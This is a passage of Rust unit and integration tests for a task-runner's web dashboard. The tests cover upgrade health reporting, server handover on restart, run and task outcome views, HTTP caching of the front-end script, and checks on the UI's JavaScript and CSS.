24160 assert_eq!(health["upgrade"]["from"], "0.5.1");
24161 assert_eq!(health["upgrade"]["to"], "0.5.2");
24162 let waiting_on = health["upgrade"]["waiting_on"]
24163 .as_str()
24164 .expect("waiting_on is set while parking a known run");
24165 assert!(waiting_on.contains("cd51"), "{waiting_on}");
24166 assert!(waiting_on.contains("implementing"), "{waiting_on}");
24167 }
24168
24169 #[tokio::test]
24170 async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
24171 let fx = Fixture::start().await;
24172 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
24173 progress.advance(crate::updater::Stage::Done);
24174 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
24175
24176 let health = fx.get("/api/health").await.json();
24177 assert_eq!(health["upgrade"]["stage"], "done");
24178 assert!(
24179 health["upgrade"]["waiting_on"].is_null(),
24180 "nothing to wait on once it is done"
24181 );
24182 }
24183
24184 #[tokio::test]
24187 async fn the_handover_signal_wakes_one_waiter_once() {
24188 let signal = Notify::new();
24189 signal.notify_one();
24191 tokio::time::timeout(Duration::from_secs(5), wait_for_handover(&signal))
24192 .await
24193 .expect("an early signal is still seen");
24194 assert!(
24196 tokio::time::timeout(Duration::from_millis(50), wait_for_handover(&signal))
24197 .await
24198 .is_err(),
24199 "a consumed signal must not wake a second time"
24200 );
24201 let signal = std::sync::Arc::new(signal);
24203 let waiter = tokio::spawn({
24204 let signal = std::sync::Arc::clone(&signal);
24205 async move { wait_for_handover(&signal).await }
24206 });
24207 tokio::time::sleep(Duration::from_millis(20)).await;
24208 assert!(!waiter.is_finished(), "nothing was signalled yet");
24209 signal.notify_one();
24210 tokio::time::timeout(Duration::from_secs(5), waiter)
24211 .await
24212 .expect("a late signal wakes the waiter")
24213 .expect("join");
24214 }
24215
24216 #[tokio::test]
24217 async fn health_says_how_long_a_handover_has_been_stuck() {
24218 let fx = Fixture::start().await;
24219 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
24220 progress.advance(crate::updater::Stage::Replaced);
24221 progress.updated_at = Timestamp::now() - Duration::from_secs(600);
24222 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
24223
24224 let health = fx.get("/api/health").await.json();
24225 let stuck = health["upgrade"]["stuck_for_secs"].as_i64().expect("stuck");
24226 assert!(stuck >= 600, "{stuck}");
24227 assert_eq!(health["upgrade"]["stuck_kind"], "never_entered");
24228 assert!(health["upgrade"]["waiting_on"].as_str().is_some());
24229 }
24230
24231 #[tokio::test]
24232 async fn a_second_replaced_write_cannot_pull_a_parking_handover_back() {
24233 let home = tempfile::tempdir().expect("temp home");
24234 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
24235 progress.advance(crate::updater::Stage::Parking);
24236 crate::updater::write_progress(home.path(), &progress).expect("seed");
24237 let mut again = progress.clone();
24239 again.advance(crate::updater::Stage::Replaced);
24240 crate::updater::write_progress(home.path(), &again).expect("replaced");
24241 let fresh = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
24242 crate::updater::write_progress(home.path(), &fresh).expect("downloading");
24243 let after = crate::updater::read_progress(home.path()).expect("record");
24244 assert_eq!(after.stage, crate::updater::Stage::Parking);
24245 }
24246
24247 #[tokio::test]
24248 async fn health_does_not_call_a_live_parking_wait_stuck() {
24249 let fx = Fixture::start().await;
24250 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
24251 progress.parked_run = Some("20260905-000000-cd51".to_owned());
24252 progress.advance(crate::updater::Stage::Parking);
24253 let hours = Duration::from_secs(3 * 3600);
24254 progress.started_at = Timestamp::now() - hours;
24255 progress.updated_at = Timestamp::now() - hours;
24256 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
24257 let _lease = crate::updater::LeaseGuard::enter(
24258 fx.home.path(),
24259 Some("20260905-000000-cd51".to_owned()),
24260 );
24261
24262 let health = fx.get("/api/health").await.json();
24263 assert!(health["upgrade"]["stuck_for_secs"].is_null(), "{health}");
24264 assert!(health["upgrade"]["stuck_kind"].is_null());
24265 assert_eq!(health["upgrade"]["handover_alive"], true);
24266 let waiting_on = health["upgrade"]["waiting_on"]
24267 .as_str()
24268 .expect("waiting_on");
24269 assert!(waiting_on.contains("cd51"), "{waiting_on}");
24270 }
24271
24272 fn idle_ui(home: &TempDir) -> Ui {
24273 let runs = home.path().join("runs");
24274 std::fs::create_dir_all(&runs).expect("runs dir");
24275 Ui::new(
24276 Queue::at(home.path().join("queue")),
24277 Questions::at(home.path().join("questions")),
24278 Talks::at(home.path().join("talks")),
24279 runs,
24280 home.path().to_path_buf(),
24281 PathBuf::from("/repo/magi"),
24282 )
24283 .with_launch(launch_idle)
24284 }
24285
24286 #[tokio::test]
24287 async fn start_during_scheduler_stop_is_busy_and_preserves_the_stop() {
24288 let home = TempDir::new().expect("temp home");
24289 let ui = idle_ui(&home);
24290 let lease = crate::worker::try_lease(home.path(), "scheduler")
24291 .expect("scheduler lease")
24292 .expect("free");
24293 crate::worker::request(home.path(), "scheduler", crate::worker::Control::Stop)
24294 .expect("request stop");
24295 let error = ui
24296 .start_detached_loop()
24297 .await
24298 .expect_err("transition is still live");
24299 assert_eq!(error.status, StatusCode::CONFLICT);
24300 assert!(error.message.contains("still running or stopping"));
24301 assert_eq!(
24302 crate::worker::control(home.path(), "scheduler").unwrap(),
24303 Some(crate::worker::Control::Stop)
24304 );
24305 drop(lease);
24306 }
24307
24308 #[tokio::test]
24309 async fn handover_releases_listener_without_waiting_for_execution_leases() {
24310 let home = TempDir::new().expect("temp home");
24311 let ui = idle_ui(&home);
24312 let turns = ui
24313 .begin_talk_turn("active-chat")
24314 .expect("claim")
24315 .expect("free");
24316 let execution = crate::worker::try_lease(home.path(), "active-task")
24317 .expect("execution lease")
24318 .expect("free");
24319 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
24320 .await
24321 .expect("bind loopback");
24322 let address = listener.local_addr().expect("address");
24323 let admissions = Arc::clone(&ui.admissions);
24324 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
24325 let successor_started = std::sync::atomic::AtomicBool::new(false);
24326 tokio::time::timeout(
24327 Duration::from_secs(2),
24328 hand_over(home.path(), &admissions, served, || {
24329 successor_started.store(true, std::sync::atomic::Ordering::SeqCst);
24330 Ok(1)
24331 }),
24332 )
24333 .await
24334 .expect("restart must not wait for execution")
24335 .expect("handover");
24336 assert!(successor_started.load(std::sync::atomic::Ordering::SeqCst));
24337 let successor = bind_waiting(address)
24340 .await
24341 .expect("successor binds released address");
24342 assert_eq!(successor.local_addr().unwrap(), address);
24343 assert!(turns.owns(), "the chat lease survives restart");
24344 assert!(
24345 crate::worker::try_lease(home.path(), "active-task")
24346 .unwrap()
24347 .is_none()
24348 );
24349 drop(execution);
24350 drop(turns);
24351 }
24352
24353 #[tokio::test]
24354 async fn handover_drains_admission_but_never_waits_for_the_chat_turn() {
24355 let home = TempDir::new().expect("temp home");
24356 let ui = idle_ui(&home);
24357 let admission = ui.begin_admission().expect("admit send");
24358 let turn = ui
24359 .begin_talk_turn("active-chat")
24360 .expect("claim")
24361 .expect("free");
24362 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
24363 .await
24364 .expect("bind loopback");
24365 let address = listener.local_addr().expect("address");
24366 let served = tokio::spawn(axum::serve(listener, ui.clone().router()).into_future());
24367 let successor_called = std::sync::atomic::AtomicBool::new(false);
24368 let handover = hand_over(home.path(), &ui.admissions, served, || {
24369 successor_called.store(true, std::sync::atomic::Ordering::SeqCst);
24370 Ok(1)
24371 });
24372 tokio::pin!(handover);
24373 std::future::poll_fn(|cx| {
24376 assert!(std::future::Future::poll(handover.as_mut(), cx).is_pending());
24377 std::task::Poll::Ready(())
24378 })
24379 .await;
24380 assert!(!successor_called.load(std::sync::atomic::Ordering::SeqCst));
24381 assert!(
24382 ui.begin_admission().is_err(),
24383 "new ingress cannot race the drain"
24384 );
24385 assert_eq!(request(address, "GET", "/api/loop", None).await.status, 200);
24386 drop(admission);
24387 tokio::time::timeout(Duration::from_secs(2), handover)
24388 .await
24389 .expect("only publication may delay restart")
24390 .expect("handover");
24391 assert!(successor_called.load(std::sync::atomic::Ordering::SeqCst));
24392 assert!(
24393 turn.owns(),
24394 "the detached chat turn is not awaited or cancelled"
24395 );
24396 assert!(
24397 ui.begin_admission().is_err(),
24398 "old accepted connections stay closed"
24399 );
24400 drop(turn);
24401 }
24402
24403 #[test]
24404 fn health_worker_metadata_never_contains_payload_or_result() {
24405 let view = WorkerView::from(crate::worker::Job {
24406 id: "job".into(),
24407 sequence: 1,
24408 kind: "service".into(),
24409 key: "maintenance".into(),
24410 payload: serde_json::json!({"env": {"TOKEN": "private"}}),
24411 generation: "generation".into(),
24412 version: Some("1.2.3".into()),
24413 status: crate::worker::Status::Running,
24414 result: Some("private diagnostics".into()),
24415 pid: Some(4242),
24416 created_at: 1,
24417 finished_at: None,
24418 });
24419 let value = serde_json::to_value(view).expect("serialize public metadata");
24420 assert_eq!(value["version"], "1.2.3");
24421 assert_eq!(value["pid"], 4242);
24422 assert!(value.get("payload").is_none());
24423 assert!(value.get("result").is_none());
24424 assert!(!value.to_string().contains("private"));
24425 }
24426
24427 #[test]
24428 fn upgraded_scheduler_remains_owned_by_a_replacement_web() {
24429 let home = TempDir::new().expect("temp home");
24430 let ui = idle_ui(&home);
24431 std::fs::write(
24432 home.path().join("daemon.json"),
24433 serde_json::json!({
24434 "schema": 2, "pid": 4242, "worker_protocol": 1,
24435 "updated_at": Timestamp::now().to_string(), "idle": true,
24436 })
24437 .to_string(),
24438 )
24439 .expect("status");
24440 let reading = daemon::read_status(home.path());
24441 assert!(Foreign::of(reading.as_ref()).is_none());
24442 let view = ui.runtime_loop_view(reading, &[]);
24443 assert!(view.running);
24444 assert!(view.owned);
24445 }
24446
24447 #[test]
24448 fn only_an_explicit_one_requests_a_resume() {
24449 assert!(!resume_requested(None));
24450 assert!(!resume_requested(Some("0".into())));
24451 assert!(!resume_requested(Some("".into())));
24452 assert!(resume_requested(Some("1".into())));
24453 }
24454
24455 #[test]
24456 fn an_error_is_visible_from_where_the_button_is() {
24457 let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
24462 ..APP_CSS.find(".alert-text").expect(".alert-text")];
24463 assert!(
24464 alert.contains("position: fixed"),
24465 "an error about the thing under your thumb has to be visible from \
24466 where your thumb is: {alert}"
24467 );
24468 assert!(
24469 alert.contains("z-index: 25"),
24470 "above the dock (20) and the run-actions FAB (15), so neither \
24471 buries it: {alert}"
24472 );
24473 assert!(
24474 alert.contains("var(--tap)"),
24475 "and clear of the dock and the home indicator: {alert}"
24476 );
24477 assert!(
24480 alert.contains("var(--s4) + var(--tap) + var(--s3)"),
24481 "the FAB's column stays free: {alert}"
24482 );
24483 }
24484
24485 #[tokio::test]
24486 async fn an_older_attempt_says_what_replaced_it() {
24487 let fx = Fixture::start().await;
24488 let q = fx.queue();
24489 let runs = fx.runs();
24490 let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
24491 write_run(&runs, first, RunStatus::Stalled);
24492 write_run(&runs, second, RunStatus::Blocked);
24493
24494 let mut t = Task::new(
24495 "one task".to_owned(),
24496 "do it".to_owned(),
24497 PathBuf::from("/repo"),
24498 Source::Human,
24499 );
24500 t.runs = vec![first.to_owned(), second.to_owned()];
24501 q.put(&mut t).expect("put");
24502
24503 let rows = fx.get("/api/runs").await.json();
24507 let by = |short: &str| -> Value {
24508 rows.as_array()
24509 .unwrap()
24510 .iter()
24511 .find(|r| r["short"] == short)
24512 .cloned()
24513 .unwrap_or(Value::Null)
24514 };
24515 assert_eq!(by("aaaa")["superseded_by"], "bbbb");
24516 assert!(
24517 by("bbbb")["superseded_by"].is_null(),
24518 "the latest attempt is not superseded by anything"
24519 );
24520 assert!(APP_JS.contains("run.superseded_by"));
24522 assert!(APP_JS.contains("Superseded by"));
24523 }
24524
24525 fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
24526 let mut t = Task::new(
24527 "one task".to_owned(),
24528 "do it".to_owned(),
24529 PathBuf::from("/repo"),
24530 Source::Human,
24531 );
24532 t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
24533 t.status = status;
24534 t
24535 }
24536
24537 #[test]
24538 fn source_link_picks_the_page_that_filed_the_task() {
24539 let agent = |node: &str| Source::Agent {
24540 run: "20260904-014455-ab12".to_owned(),
24541 node: node.to_owned(),
24542 };
24543 let chat = source_link(&agent("chat")).expect("chat link");
24544 assert_eq!(chat.kind, "chat");
24545 assert_eq!(chat.id, "20260904-014455-ab12");
24546 assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
24547 let run = source_link(&agent("implement")).expect("run link");
24548 assert_eq!(
24549 (run.kind, run.href.as_str()),
24550 ("run", "#/runs/20260904-014455-ab12")
24551 );
24552 assert_eq!(source_link(&Source::Human), None);
24553 assert_eq!(
24554 source_link(&Source::Issue {
24555 number: 3,
24556 repo: "o/r".to_owned()
24557 }),
24558 None
24559 );
24560 let odd = source_link(&Source::Agent {
24561 run: "a b/c".to_owned(),
24562 node: "chat".to_owned(),
24563 })
24564 .expect("link");
24565 assert_eq!(odd.href, "#/chat/a%20b%2Fc");
24566 }
24567
24568 #[test]
24569 fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
24570 assert!(
24571 !APP_JS.contains("src.node === \"chat\""),
24572 "inline href rule is back"
24573 );
24574 assert!(
24575 APP_JS.matches("sourceLinkOf(").count() >= 4,
24576 "helper must serve every page"
24577 );
24578 assert!(
24579 APP_JS.matches("openChatLink(").count() >= 3,
24580 "the run page still needs its explicit chat link"
24581 );
24582 assert!(
24583 !APP_JS.contains("const openChat = el("),
24584 "the Queue card duplicates its source label link again"
24585 );
24586 assert!(
24587 APP_JS.contains("metaKids.push(link ? el(\"a\""),
24588 "the task page must link a chat source label too"
24589 );
24590 }
24591
24592 #[test]
24593 fn task_ref_carries_the_source_link_for_a_chat_task() {
24594 let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
24595 t.source = Source::Agent {
24596 run: "20260904-014455-ab12".to_owned(),
24597 node: "chat".to_owned(),
24598 };
24599 let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
24600 let v = serde_json::to_value(&out).expect("json");
24601 assert_eq!(v["source_link"]["kind"], "chat", "{v}");
24602 assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
24603 assert_eq!(v["source_label"], t.source.label());
24604
24605 let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
24606 let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
24607 .expect("json");
24608 assert!(v["source_link"].is_null(), "{v}");
24609 }
24610
24611 #[test]
24612 fn task_view_serializes_source_link() {
24613 let mut t = Task::new(
24614 "t".to_owned(),
24615 "t".to_owned(),
24616 PathBuf::from("/repo"),
24617 Source::Agent {
24618 run: "20260901-000000-aaaa".to_owned(),
24619 node: "implement".to_owned(),
24620 },
24621 );
24622 t.runs.clear();
24623 let v = serde_json::to_value(TaskView::from(t)).expect("json");
24624 assert_eq!(v["source_link"]["kind"], "run", "{v}");
24625 assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
24626 }
24627
24628 #[test]
24629 fn task_view_serializes_urgent_flag() {
24630 let mut t = Task::new(
24631 "t".to_owned(),
24632 "t".to_owned(),
24633 PathBuf::from("/repo"),
24634 Source::Human,
24635 );
24636 let v = serde_json::to_value(TaskView::from(t.clone())).expect("json");
24637 assert_eq!(v["urgent"], false, "{v}");
24638 t.urgent = true;
24639 let v = serde_json::to_value(TaskView::from(t)).expect("json");
24640 assert_eq!(v["urgent"], true, "{v}");
24641 assert!(APP_JS.contains("task.urgent === true"));
24642 }
24643
24644 #[tokio::test]
24645 async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
24646 let fx = Fixture::start().await;
24647 let runs = fx.runs();
24648 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
24649 write_run(&runs, old, RunStatus::Blocked);
24650 write_run(&runs, new, RunStatus::Merged);
24651 let mut t = outcome_task(&[old, new], TaskStatus::Done);
24652 fx.queue().put(&mut t).expect("put");
24653
24654 let view = fx.get(&format!("/api/runs/{old}")).await.json();
24655 let task = &view["task"];
24656 assert_eq!(task["status"], "done");
24657 assert_eq!(task["is_latest"], false);
24658 assert_eq!(task["latest"]["short"], "bbbb");
24659 assert_eq!(task["finished_by"]["id"], new);
24660 assert_eq!(task["finished_by"]["outcome"], "merged");
24661 assert_eq!(task["closed_by_hand"], false);
24662 assert_eq!(view["status"], "blocked", "the run keeps its own status");
24663 assert!(APP_JS.contains("finished_by"));
24664 assert!(APP_JS.contains("superseded by run"));
24665 }
24666
24667 #[tokio::test]
24668 async fn the_latest_run_reports_a_held_task_without_a_successor() {
24669 let fx = Fixture::start().await;
24670 let runs = fx.runs();
24671 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
24672 write_run(&runs, old, RunStatus::Stalled);
24673 write_run(&runs, new, RunStatus::Blocked);
24674 let mut t = outcome_task(&[old, new], TaskStatus::Held);
24675 fx.queue().put(&mut t).expect("put");
24676
24677 let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
24678 assert_eq!(task["status"], "held");
24679 assert_eq!(task["is_latest"], true);
24680 assert!(task["latest"].is_null());
24681 assert!(task["finished_by"].is_null());
24682 assert_eq!(task["closed_by_hand"], false);
24683 }
24684
24685 #[tokio::test]
24686 async fn a_direct_run_has_no_task_outcome() {
24687 let fx = Fixture::start().await;
24688 let runs = fx.runs();
24689 let id = "20260901-000000-aaaa";
24690 write_run(&runs, id, RunStatus::Blocked);
24691 let view = fx.get(&format!("/api/runs/{id}")).await.json();
24692 assert!(view["task"].is_null());
24693 }
24694
24695 #[test]
24696 fn task_outcome_does_not_guess_a_finishing_run() {
24697 let a = "20260901-000000-aaaa";
24698 let b = "20260901-000000-bbbb";
24699 let c = "20260901-000000-cccc";
24700 let dir = tempfile::tempdir().expect("tempdir");
24701 write_run(dir.path(), a, RunStatus::Blocked);
24702 write_run(dir.path(), b, RunStatus::VerifiedNoop);
24703 let read = |id: &str| read_run(dir.path(), id).ok();
24705 let t = outcome_task(&[a, b, c], TaskStatus::Done);
24708 let out = task_outcome(&t, a, 3, read);
24709 assert!(out.finished_by.is_none());
24710 assert!(out.closed_by_hand);
24711 let latest = out.latest.expect("latest");
24712 assert_eq!(latest.id, c);
24713 assert_eq!(latest.status, None);
24714 assert_eq!(latest.outcome, "record unreadable");
24715
24716 write_run(dir.path(), c, RunStatus::Ready);
24718 let t = outcome_task(&[a, c], TaskStatus::Done);
24719 let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
24720 assert_eq!(out.finished_by.expect("finisher").id, c);
24721 assert!(!out.closed_by_hand);
24722
24723 let t = outcome_task(&[a, b, a], TaskStatus::Held);
24725 assert!(task_outcome(&t, a, 3, read).is_latest);
24726 }
24727
24728 #[tokio::test]
24729 async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
24730 let fx = Fixture::start().await;
24735 let q = fx.queue();
24736 let runs = fx.runs();
24737 let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
24738 write_run(&runs, first, RunStatus::Blocked);
24739 write_run(&runs, second, RunStatus::Merged);
24740
24741 let mut t = Task::new(
24742 "one task".to_owned(),
24743 "do it".to_owned(),
24744 PathBuf::from("/repo"),
24745 Source::Human,
24746 );
24747 t.runs = vec![first.to_owned(), second.to_owned()];
24748 q.put(&mut t).expect("put");
24749
24750 let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
24751 assert_eq!(earlier["superseded_by"], "dddd");
24752 assert_eq!(earlier["latest_attempt"]["id"], second);
24753 assert_eq!(earlier["latest_attempt"]["short"], "dddd");
24754 assert_eq!(
24755 earlier["latest_attempt"]["resolved"], true,
24756 "the run that replaced it landed, so this one reads as settled"
24757 );
24758
24759 let later = fx.get(&format!("/api/runs/{second}")).await.json();
24760 assert!(
24761 later["superseded_by"].is_null(),
24762 "the latest attempt is not superseded by anything"
24763 );
24764 assert!(
24765 later["latest_attempt"].is_null(),
24766 "the latest attempt has no later attempt of its own"
24767 );
24768
24769 assert!(APP_JS.contains("run.latest_attempt"));
24776 assert!(APP_JS.contains("data-superseded"));
24777 assert!(APP_JS.contains("#/runs/${latest.id}"));
24778 }
24779
24780 #[tokio::test]
24781 async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
24782 let fx = Fixture::start().await;
24788 let q = fx.queue();
24789 let runs = fx.runs();
24790 let (a, b, c) = (
24791 "20260901-000000-aaaa",
24792 "20260901-000000-bbbb",
24793 "20260901-000000-cccc",
24794 );
24795 write_run(&runs, a, RunStatus::Blocked);
24796 write_run(&runs, b, RunStatus::Blocked);
24797 write_run(&runs, c, RunStatus::Merged);
24798
24799 let mut t = Task::new(
24800 "retried twice".to_owned(),
24801 "do it".to_owned(),
24802 PathBuf::from("/repo"),
24803 Source::Human,
24804 );
24805 t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
24806 q.put(&mut t).expect("put");
24807
24808 let view = fx.get(&format!("/api/runs/{a}")).await.json();
24809 assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
24810 assert_eq!(
24811 view["latest_attempt"]["id"], c,
24812 "the chain's current head, not the intermediate Blocked retry"
24813 );
24814 assert_eq!(view["latest_attempt"]["resolved"], true);
24815
24816 let mid = fx.get(&format!("/api/runs/{b}")).await.json();
24817 assert_eq!(mid["latest_attempt"]["id"], c);
24818 assert_eq!(mid["latest_attempt"]["resolved"], true);
24819 }
24820
24821 #[tokio::test]
24822 async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
24823 let fx = Fixture::start().await;
24824 let q = fx.queue();
24825 let runs = fx.runs();
24826
24827 let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
24830 write_run(&runs, still_blocked_a, RunStatus::Blocked);
24831 write_run(&runs, still_blocked_b, RunStatus::Blocked);
24832 let mut t1 = Task::new(
24833 "still stuck".to_owned(),
24834 "do it".to_owned(),
24835 PathBuf::from("/repo"),
24836 Source::Human,
24837 );
24838 t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
24839 q.put(&mut t1).expect("put");
24840 let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
24841 assert_eq!(view1["latest_attempt"]["resolved"], false);
24842 assert_eq!(view1["latest_attempt"]["status"], "blocked");
24843 assert_eq!(view1["latest_attempt"]["done"], true);
24844
24845 let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
24847 write_run(&runs, run_a, RunStatus::Blocked);
24848 write_run(&runs, run_b, RunStatus::Implementing);
24849 let mut t3 = Task::new(
24850 "retrying".to_owned(),
24851 "do it".to_owned(),
24852 PathBuf::from("/repo"),
24853 Source::Human,
24854 );
24855 t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
24856 q.put(&mut t3).expect("put");
24857 let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
24858 assert_eq!(view3["latest_attempt"]["id"], run_b);
24859 assert_eq!(view3["latest_attempt"]["resolved"], false);
24860 assert_eq!(view3["latest_attempt"]["done"], false);
24861
24862 let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
24867 write_run(&runs, noop_a, RunStatus::Blocked);
24868 write_run(&runs, noop_b, RunStatus::VerifiedNoop);
24869 let mut t2 = Task::new(
24870 "claims done".to_owned(),
24871 "do it".to_owned(),
24872 PathBuf::from("/repo"),
24873 Source::Human,
24874 );
24875 t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
24876 q.put(&mut t2).expect("put");
24877 let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
24878 assert_eq!(
24879 view2["latest_attempt"]["resolved"], false,
24880 "an unverified no-op claim must not read as a confirmed finish"
24881 );
24882
24883 assert!(APP_JS.contains("latest.resolved"));
24886 assert!(APP_JS.contains("successorNote(latest, inFlight)"));
24889 assert!(APP_JS.contains("Latest attempt: "));
24890 assert!(APP_JS.contains("in flight"));
24891 assert!(APP_JS.contains("not resolved"));
24892 }
24893
24894 #[tokio::test]
24895 async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
24896 let fx = Fixture::start().await;
24897 let js = fx.get("/app.js").await;
24903 assert_eq!(js.status, 200);
24904 let tag = js
24905 .header("etag")
24906 .expect("an etag to revalidate against")
24907 .to_owned();
24908 assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
24909 assert_eq!(
24910 js.header("cache-control"),
24911 Some("no-cache, must-revalidate"),
24912 "the phone has to ask every time"
24913 );
24914
24915 let again = fx
24918 .get_with("/app.js", &[("if-none-match", tag.as_str())])
24919 .await;
24920 assert_eq!(
24921 again.status, 304,
24922 "a deck it already has costs one round trip"
24923 );
24924 assert!(again.body.is_empty(), "304 carries no body");
24925
24926 let weak = fx
24929 .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
24930 .await;
24931 assert_eq!(weak.status, 304);
24932 let stale = fx
24933 .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
24934 .await;
24935 assert_eq!(stale.status, 200, "an older build must be replaced");
24936 assert!(stale.body.contains("renderRunActions"));
24937 }
24938
24939 #[test]
24940 fn the_task_detail_has_an_actions_fab_and_sheet() {
24941 assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
24942 assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
24943 assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
24944 assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
24946 assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
24947 assert!(APP_JS.contains("renderTaskActions(task.coreOnly || error ? null : task);"));
24949 assert!(APP_JS.contains("renderTaskActions(null);"));
24950 let (_, sheet) = APP_JS
24953 .split_once("function renderTaskActions(task) {")
24954 .expect("sheet renderer");
24955 let (body, _) = sheet
24956 .split_once("\nfunction openTaskActions() {")
24957 .expect("end of sheet renderer");
24958 assert!(body.contains("changePriority("));
24959 assert!(body.contains("openTaskEdit(task)"));
24960 assert!(body.contains("renderTaskHoldBox(host"));
24961 assert!(body.contains("renderTaskDoneBox(host"));
24962 assert!(body.contains("renderTaskDeleteBox(host"));
24963 assert!(APP_JS.contains("API.priority(id)"));
24964 assert!(APP_JS.contains("API.deleteTask(id)"));
24965 assert!(APP_JS.contains("location.hash = \"#/queue\""));
24967 assert!(APP_JS.contains("$(\"task-actions-error\")"));
24969 }
24970
24971 #[test]
24972 fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
24973 let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
24974 let actions = INDEX_HTML
24975 .find("id=\"run-actions-box\"")
24976 .expect("actions box");
24977 assert!(task < actions, "the task entry comes first in the sheet");
24978 assert!(APP_JS.contains("renderRunTaskEntry"));
24979 assert!(APP_JS.contains("\"Open task \""));
24980 assert!(APP_JS.contains("started directly, no task"));
24982 assert!(APP_JS.contains("sheet-task-link"));
24983 assert!(APP_JS.contains("task-chip-link"));
24984 }
24985
24986 #[test]
24987 fn the_deck_never_sends_the_operator_to_a_terminal() {
24988 assert!(
24991 !APP_JS.contains("Run `magi fold` first"),
24992 "the deck must offer the fold, not prescribe a shell command"
24993 );
24994 assert!(APP_JS.contains("foldRun:"));
24995 assert!(APP_JS.contains("resumeRun:"));
24996 assert!(APP_JS.contains("renderRunActions"));
24997
24998 assert!(APP_JS.contains("armedFold"));
25000 assert!(APP_JS.contains("Yes, fold worktrees"));
25001
25002 assert!(APP_JS.contains("can no longer be resumed"));
25005 }
25006
25007 #[test]
25008 fn a_finished_run_explains_itself_with_its_own_last_line() {
25009 assert!(
25015 !APP_JS.contains("collapsed on agent quota"),
25016 "a stall must not be explained by a cause the deck did not check"
25017 );
25018 assert!(
25019 !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
25020 "and a block must not offer a guess with an `or` in it"
25021 );
25022
25023 assert!(
25027 APP_JS.contains("setText(r.event, run.event || \"\")"),
25028 "the run's last line is rendered unconditionally"
25029 );
25030 assert!(
25031 !APP_JS.contains("moving && run.event"),
25032 "and never gated on the run still moving"
25033 );
25034
25035 assert!(APP_JS.contains("lost to quota"));
25037 }
25038
25039 #[test]
25061 fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
25062 let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
25063 let shapes_body_start =
25064 APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
25065 let shapes_close = APP_JS[shapes_body_start..]
25066 .find("].map(")
25067 .expect("the shape list is closed by its done-computing .map(...)")
25068 + shapes_body_start;
25069 let shapes_src = &APP_JS[shapes_body_start..shapes_close];
25070
25071 let mut shapes: Vec<(bool, String, bool, bool)> = Vec::new();
25072 for entry in shapes_src.split('{').skip(1) {
25073 let waiting = entry.contains("waiting: true");
25074 let dead = entry.contains("live: \"dead\"");
25075 let status_at =
25076 entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
25077 let status_end = entry[status_at..]
25078 .find('"')
25079 .expect("the status string is closed")
25080 + status_at;
25081 let parked = entry.contains("display_status: \"parked\"");
25082 shapes.push((
25083 waiting,
25084 entry[status_at..status_end].to_string(),
25085 dead,
25086 parked,
25087 ));
25088 }
25089 assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
25090
25091 let done_rule_marker = "done: !";
25095 let done_rule_at = APP_JS[shapes_close..]
